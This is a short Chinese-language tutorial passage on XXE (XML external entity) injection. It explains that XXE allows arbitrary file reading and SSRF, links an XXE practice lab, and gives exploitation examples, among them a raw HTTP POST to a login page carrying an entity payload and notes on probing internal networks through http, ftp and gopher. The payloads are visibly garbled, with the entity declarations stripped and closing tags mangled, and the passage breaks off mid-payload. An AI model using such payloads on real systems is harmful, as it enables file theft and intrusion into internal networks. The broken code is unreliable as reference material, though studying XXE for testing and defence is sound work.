一、 XXE是什么?有哪些危害?
XML外部实体,允许XML引用外部数据作为变量。形式如下。
<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
由于外部实体允许多种协议,所以XXE等同于任意文件读取+SSRF
XXE靶场
https://github.com/c0ny1/xxe-lab
二、 XXE利用
如果传递的某个参数可以反射出来,那这就是一个带回显的XXE,可以利用file协议进行任意文件读取
POST /xxe/doLogin.php HTTP/1.1Host: luoke.cn:81Content-Type: application/xml;charset=utf-8Content-Length: 157<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
其次可以用http(s),ftp等协议来探测内网。php支持一些伪协议,java支持jar,旧版支持gopher。
<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>
或者
<?xml version="1.0"?>%xxe;]><user><username>adminusername><password>adm